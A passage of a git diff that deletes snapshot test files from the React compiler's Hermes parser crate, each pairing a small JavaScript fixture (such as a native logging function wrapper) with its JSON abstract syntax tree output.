-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  119,
-                  122
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    123,
-                    124
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                119,
-                125
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              119,
-              126
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "div",
-                  "loc": null,
-                  "range": [
-                    137,
-                    140
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": null,
-                      "range": [
-                        141,
-                        142
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          144,
-                          145
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        143,
-                        146
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      141,
-                      146
-                    ]
-                  },
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "b",
-                      "loc": null,
-                      "range": [
-                        147,
-                        148
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Identifier",
-                        "name": "b",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          150,
-                          151
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        149,
-                        152
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      147,
-                      152
-                    ]
-                  }
-                ],
-                "selfClosing": true,
-                "loc": null,
-                "range": [
-                  136,
-                  155
-                ]
-              },
-              "children": [],
-              "closingElement": null,
-              "loc": null,
-              "range": [
-                136,
-                155
-              ]
-            },
-            "loc": null,
-            "range": [
-              129,
-              156
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          45,
-          158
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        19,
-        158
-      ],
-      "loc": null,
-      "range": [
-        19,
-        158
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    158
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-indirect-mutate-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-indirect-mutate-alias.js.snap
deleted file mode 100644
index cf53d6d01256..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-indirect-mutate-alias.js.snap
+++ /dev/null
@@ -1,352 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capture-indirect-mutate-alias.js
----
-Input:
-function component(a) {
-  let x = { a };
-  (function () {
-    let q = x;
-    (function () {
-      q.b = 1;
-    })();
-  })();
-
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "FunctionExpression",
-                "id": null,
-                "params": [],
-                "body": {
-                  "type": "BlockStatement",
-                  "body": [
-                    {
-                      "type": "VariableDeclaration",
-                      "kind": "let",
-                      "declarations": [
-                        {
-                          "type": "VariableDeclarator",
-                          "id": {
-                            "type": "Identifier",
-                            "name": "q",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              66,
-                              67
-                            ]
-                          },
-                          "init": {
-                            "type": "Identifier",
-                            "name": "x",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              70,
-                              71
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            66,
-                            71
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        62,
-                        72
-                      ]
-                    },
-                    {
-                      "type": "ExpressionStatement",
-                      "expression": {
-                        "type": "CallExpression",
-                        "callee": {
-                          "type": "FunctionExpression",
-                          "id": null,
-                          "params": [],
-                          "body": {
-                            "type": "BlockStatement",
-                            "body": [
-                              {
-                                "type": "ExpressionStatement",
-                                "expression": {
-                                  "type": "AssignmentExpression",
-                                  "operator": "=",
-                                  "left": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "Identifier",
-                                      "name": "q",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        98,
-                                        99
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "b",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        100,
-                                        101
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      98,
-                                      101
-                                    ]
-                                  },
-                                  "right": {
-                                    "type": "NumericLiteral",
-                                    "value": 1.0,
-                                    "loc": null,
-                                    "range": [
-                                      104,
-                                      105
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    98,
-                                    105
-                                  ]
-                                },
-                                "directive": null,
-                                "loc": null,
-                                "range": [
-                                  98,
-                                  106
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              90,
-                              112
-                            ]
-                          },
-                          "generator": false,
-                          "async": false,
-                          "loc": null,
-                          "range": [
-                            78,
-                            112
-                          ],
-                          "loc": null,
-                          "range": [
-                            78,
-                            112
-                          ]
-                        },
-                        "arguments": [],
-                        "loc": null,
-                        "range": [
-                          77,
-                          115
-                        ]
-                      },
-                      "directive": null,
-                      "loc": null,
-                      "range": [
-                        77,
-                        116
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    56,
-                    120
-                  ]
-                },
-                "generator": false,
-                "async": false,
-                "loc": null,
-                "range": [
-                  44,
-                  120
-                ],
-                "loc": null,
-                "range": [
-                  44,
-                  120
-                ]
-              },
-              "arguments": [],
-              "loc": null,
-              "range": [
-                43,
-                123
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              43,
-              124
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                135,
-                136
-              ]
-            },
-            "loc": null,
-            "range": [
-              128,
-              137
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          139
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        139
-      ],
-      "loc": null,
-      "range": [
-        0,
-        139
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    139
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-param-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-param-mutate.js.snap
deleted file mode 100644
index 86d57062460c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@capture-param-mutate.js.snap
+++ /dev/null
@@ -1,1381 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/capture-param-mutate.js
----
-Input:
-function getNativeLogFunction(level) {
-  return function () {
-    let str;
-    if (arguments.length === 1 && typeof arguments[0] === "string") {
-      str = arguments[0];
-    } else {
-      str = Array.prototype.map
-        .call(arguments, function (arg) {
-          return inspect(arg, {
-            depth: 10,
-          });
-        })
-        .join(", ");
-    }
-    const firstArg = arguments[0];
-    let logLevel = level;
-    if (
-      typeof firstArg === "string" &&
-      firstArg.slice(0, 9) === "Warning: " &&
-      logLevel >= LOG_LEVELS.error
-    ) {
-      logLevel = LOG_LEVELS.warn;
-    }
-    if (global.__inspectorLog) {
-      global.__inspectorLog(
-        INSPECTOR_LEVELS[logLevel],
-        str,
-        [].slice.call(arguments),
-        INSPECTOR_FRAMES_TO_SKIP
-      );
-    }
-    if (groupStack.length) {
-      str = groupFormat("", str);
-    }
-    global.nativeLoggingHook(str, logLevel);
-  };
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "getNativeLogFunction",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          29
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "level",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            30,
-            35
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "FunctionExpression",
-              "id": null,
-              "params": [],
-              "body": {
-                "type": "BlockStatement",
-                "body": [
-                  {
-                    "type": "VariableDeclaration",
-                    "kind": "let",
-                    "declarations": [
-                      {
-                        "type": "VariableDeclarator",
-                        "id": {
-                          "type": "Identifier",
-                          "name": "str",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            70,
-                            73
-                          ]
-                        },
-                        "init": null,
-                        "loc": null,
-                        "range": [
-                          70,
-                          73
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      66,
-                      74
-                    ]
-                  },
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "arguments",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              83,
-                              92
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "length",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              93,
-                              99
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            83,
-                            99
-                          ]
-                        },
-                        "operator": "===",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 1.0,
-                          "loc": null,
-                          "range": [
-                            104,
-                            105
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          83,
-                          105
-                        ]
-                      },
-                      "right": {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "UnaryExpression",
-                          "operator": "typeof",
-                          "prefix": true,
-                          "argument": {
-                            "type": "MemberExpression",
-                            "object": {
-                              "type": "Identifier",
-                              "name": "arguments",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                116,
-                                125
-                              ]
-                            },
-                            "property": {
-                              "type": "NumericLiteral",
-                              "value": 0.0,
-                              "loc": null,
-                              "range": [
-                                126,
-                                127
-                              ]
-                            },
-                            "computed": true,
-                            "loc": null,
-                            "range": [
-                              116,
-                              128
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            109,
-                            128
-                          ]
-                        },
-                        "operator": "===",
-                        "right": {
-                          "type": "StringLiteral",
-                          "value": "string",
-                          "loc": null,
-                          "range": [
-                            133,
-                            141
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          109,
-                          141
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        83,
-                        141
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "str",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                151,
-                                154
-                              ]
-                            },
-                            "right": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "arguments",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  157,
-                                  166
-                                ]
-                              },
-                              "property": {
-                                "type": "NumericLiteral",
-                                "value": 0.0,
-                                "loc": null,
-                                "range": [
-                                  167,
-                                  168
-                                ]
-                              },
-                              "computed": true,
-                              "loc": null,
-                              "range": [
-                                157,
-                                169
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              151,
-                              169
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            151,
-                            170
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        143,
-                        176
-                      ]
-                    },
-                    "alternate": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "str",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                190,
-                                193
-                              ]
-                            },
-                            "right": {
-                              "type": "CallExpression",
-                              "callee": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "CallExpression",
-                                  "callee": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "MemberExpression",
-                                      "object": {
-                                        "type": "MemberExpression",
-                                        "object": {
-                                          "type": "Identifier",
-                                          "name": "Array",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            196,
-                                            201
-                                          ]
-                                        },
-                                        "property": {
-                                          "type": "Identifier",
-                                          "name": "prototype",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            202,
-                                            211
-                                          ]
-                                        },
-                                        "computed": false,
-                                        "loc": null,
-                                        "range": [
-                                          196,
-                                          211
-                                        ]
-                                      },
-                                      "property": {
-                                        "type": "Identifier",
-                                        "name": "map",
-                                        "typeAnnotation": null,
-                                        "loc": null,
-                                        "range": [
-                                          212,
-                                          215
-                                        ]
-                                      },
-                                      "computed": false,
-                                      "loc": null,
-                                      "range": [
-                                        196,
-                                        215
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "call",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        225,
-                                        229
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      196,
-                                      229
-                                    ]
-                                  },
-                                  "arguments": [
-                                    {
-                                      "type": "Identifier",
-                                      "name": "arguments",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        230,
-                                        239
-                                      ]
-                                    },
-                                    {
-                                      "type": "FunctionExpression",
-                                      "id": null,
-                                      "params": [
-                                        {
-                                          "type": "Identifier",
-                                          "name": "arg",
-                                          "typeAnnotation": null,
-                                          "loc": null,
-                                          "range": [
-                                            251,
-                                            254
-                                          ]
-                                        }
-                                      ],
-                                      "body": {
-                                        "type": "BlockStatement",
-                                        "body": [
-                                          {
-                                            "type": "ReturnStatement",
-                                            "argument": {
-                                              "type": "CallExpression",
-                                              "callee": {
-                                                "type": "Identifier",
-                                                "name": "inspect",
-                                                "typeAnnotation": null,
-                                                "loc": null,
-                                                "range": [
-                                                  275,
-                                                  282
-                                                ]
-                                              },
-                                              "arguments": [
-                                                {
-                                                  "type": "Identifier",
-                                                  "name": "arg",
-                                                  "typeAnnotation": null,
-                                                  "loc": null,
-                                                  "range": [
-                                                    283,
-                                                    286
-                                                  ]
-                                                },
-                                                {
-                                                  "type": "ObjectExpression",
-                                                  "properties": [
-                                                    {
-                                                      "type": "Property",
-                                                      "key": {
-                                                        "type": "Identifier",
-                                                        "name": "depth",
-                                                        "typeAnnotation": null,
-                                                        "loc": null,
-                                                        "range": [
-                                                          302,
-                                                          307
-                                                        ]
-                                                      },
-                                                      "value": {
-                                                        "type": "NumericLiteral",
-                                                        "value": 10.0,
-                                                        "loc": null,
-                                                        "range": [
-                                                          309,
-                                                          311
-                                                        ]
-                                                      },
-                                                      "kind": "init",
-                                                      "method": false,
-                                                      "shorthand": false,
-                                                      "computed": false,
-                                                      "loc": null,
-                                                      "range": [
-                                                        302,
-                                                        311
-                                                      ]
-                                                    }
-                                                  ],
-                                                  "loc": null,
-                                                  "range": [
-                                                    288,
-                                                    324
-                                                  ]
-                                                }
-                                              ],
-                                              "loc": null,
-                                              "range": [
-                                                275,
-                                                325
-                                              ]
-                                            },
-                                            "loc": null,
-                                            "range": [
-                                              268,
-                                              326
-                                            ]
-                                          }
-                                        ],
-                                        "loc": null,
-                                        "range": [
-                                          256,
-                                          336
-                                        ]
-                                      },
-                                      "generator": false,
-                                      "async": false,
-                                      "loc": null,
-                                      "range": [
-                                        241,
-                                        336
-                                      ],
-                                      "loc": null,
-                                      "range": [
-                                        241,
-                                        336
-                                      ]
-                                    }
-                                  ],
-                                  "loc": null,
-                                  "range": [
-                                    196,
-                                    337
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "join",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    347,
-                                    351
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  196,
-                                  351
-                                ]
-                              },
-                              "arguments": [
-                                {
-                                  "type": "StringLiteral",
-                                  "value": ", ",
-                                  "loc": null,
-                                  "range": [
-                                    352,
-                                    356
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                196,
-                                357
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              190,
-                              357
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            190,
-                            358
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        182,
-                        364
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      79,
-                      364
-                    ]
-                  },
-                  {
-                    "type": "VariableDeclaration",
-                    "kind": "const",
-                    "declarations": [
-                      {
-                        "type": "VariableDeclarator",
-                        "id": {
-                          "type": "Identifier",
-                          "name": "firstArg",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            375,
-                            383
-                          ]
-                        },
-                        "init": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "arguments",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              386,
-                              395
-                            ]
-                          },
-                          "property": {
-                            "type": "NumericLiteral",
-                            "value": 0.0,
-                            "loc": null,
-                            "range": [
-                              396,
-                              397
-                            ]
-                          },
-                          "computed": true,
-                          "loc": null,
-                          "range": [
-                            386,
-                            398
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          375,
-                          398
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      369,
-                      399
-                    ]
-                  },
-                  {
-                    "type": "VariableDeclaration",
-                    "kind": "let",
-                    "declarations": [
-                      {
-                        "type": "VariableDeclarator",
-                        "id": {
-                          "type": "Identifier",
-                          "name": "logLevel",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            408,
-                            416
-                          ]
-                        },
-                        "init": {
-                          "type": "Identifier",
-                          "name": "level",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            419,
-                            424
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          408,
-                          424
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      404,
-                      425
-                    ]
-                  },
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "LogicalExpression",
-                      "operator": "&&",
-                      "left": {
-                        "type": "LogicalExpression",
-                        "operator": "&&",
-                        "left": {
-                          "type": "BinaryExpression",
-                          "left": {
-                            "type": "UnaryExpression",
-                            "operator": "typeof",
-                            "prefix": true,
-                            "argument": {
-                              "type": "Identifier",
-                              "name": "firstArg",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                448,
-                                456
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              441,
-                              456
-                            ]
-                          },
-                          "operator": "===",
-                          "right": {
-                            "type": "StringLiteral",
-                            "value": "string",
-                            "loc": null,
-                            "range": [
-                              461,
-                              469
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            441,
-                            469
-                          ]
-                        },
-                        "right": {
-                          "type": "BinaryExpression",
-                          "left": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "firstArg",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  479,
-                                  487
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "slice",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  488,
-                                  493
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                479,
-                                493
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "NumericLiteral",
-                                "value": 0.0,
-                                "loc": null,
-                                "range": [
-                                  494,
-                                  495
-                                ]
-                              },
-                              {
-                                "type": "NumericLiteral",
-                                "value": 9.0,
-                                "loc": null,
-                                "range": [
-                                  497,
-                                  498
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              479,
-                              499
-                            ]
-                          },
-                          "operator": "===",
-                          "right": {
-                            "type": "StringLiteral",
-                            "value": "Warning: ",
-                            "loc": null,
-                            "range": [
-                              504,
-                              515
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            479,
-                            515
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          441,
-                          515
-                        ]
-                      },
-                      "right": {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "logLevel",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            525,
-                            533
-                          ]
-                        },
-                        "operator": ">=",
-                        "right": {
-                          "type": "MemberExpression",
-                          "object": {
-                            "type": "Identifier",
-                            "name": "LOG_LEVELS",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              537,
-                              547
-                            ]
-                          },
-                          "property": {
-                            "type": "Identifier",
-                            "name": "error",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              548,
-                              553
-                            ]
-                          },
-                          "computed": false,
-                          "loc": null,
-                          "range": [
-                            537,
-                            553
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          525,
-                          553
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        441,
-                        553
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "AssignmentExpression",
-                            "operator": "=",
-                            "left": {
-                              "type": "Identifier",
-                              "name": "logLevel",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                568,
-                                576
-                              ]
-                            },
-                            "right": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "LOG_LEVELS",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  579,
-                                  589
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "warn",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  590,
-                                  594
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                579,
-                                594
-                              ]
-                            },
-                            "loc": null,
-                            "range": [
-                              568,
-                              594
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            568,
-                            595
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        560,
-                        601
-                      ]
-                    },
-                    "alternate": null,
-                    "loc": null,
-                    "range": [
-                      430,
-                      601
-                    ]
-                  },
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "global",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          610,
-                          616
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "__inspectorLog",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          617,
-                          631
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        610,
-                        631
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
-                          "type": "ExpressionStatement",
-                          "expression": {
-                            "type": "CallExpression",
-                            "callee": {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "Identifier",
-                                "name": "global",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  641,
-                                  647
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "__inspectorLog",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  648,
-                                  662
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                641,
-                                662
-                              ]
-                            },
-                            "arguments": [
-                              {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "INSPECTOR_LEVELS",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    672,
-                                    688
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "logLevel",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    689,
-                                    697
-                                  ]
-                                },
-                                "computed": true,
-                                "loc": null,
-                                "range": [
-                                  672,
-                                  698
-                                ]
-                              },
-                              {
-                                "type": "Identifier",
-                                "name": "str",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  708,
-                                  711
-                                ]
-                              },
-                              {
-                                "type": "CallExpression",
-                                "callee": {
-                                  "type": "MemberExpression",
-                                  "object": {
-                                    "type": "MemberExpression",
-                                    "object": {
-                                      "type": "ArrayExpression",
-                                      "elements": [],
-                                      "loc": null,
-                                      "range": [
-                                        721,
-                                        723
-                                      ]
-                                    },
-                                    "property": {
-                                      "type": "Identifier",
-                                      "name": "slice",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        724,
-                                        729
-                                      ]
-                                    },
-                                    "computed": false,
-                                    "loc": null,
-                                    "range": [
-                                      721,
-                                      729
-                                    ]
-                                  },
-                                  "property": {
-                                    "type": "Identifier",
-                                    "name": "call",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      730,
-                                      734
-                                    ]
-                                  },
-                                  "computed": false,
-                                  "loc": null,
-                                  "range": [
-                                    721,
-                                    734
-                                  ]
-                                },
-                                "arguments": [
-                                  {
-                                    "type": "Identifier",
-                                    "name": "arguments",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      735,
-                                      744
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  721,
-                                  745
-                                ]
-                              },
-                              {
-                                "type": "Identifier",
-                                "name": "INSPECTOR_FRAMES_TO_SKIP",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  755,
-                                  779
-                                ]
-                              }
-                            ],
-                            "loc": null,
-                            "range": [
-                              641,
-                              787
-                            ]
-                          },
-                          "directive": null,
-                          "loc": null,
-                          "range": [
-                            641,
-                            788
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        633,
-                        794
-                      ]
-                    },
-                    "alternate": null,
-                    "loc": null,
-                    "range": [
-                      606,
-                      794
-                    ]
-                  },
-                  {
-                    "type": "IfStatement",
-                    "test": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "groupStack",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          803,
-                          813
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "length",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          814,
-                          820
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        803,
-                        820
-                      ]
-                    },
-                    "consequent": {
-                      "type": "BlockStatement",
-                      "body": [
-                        {
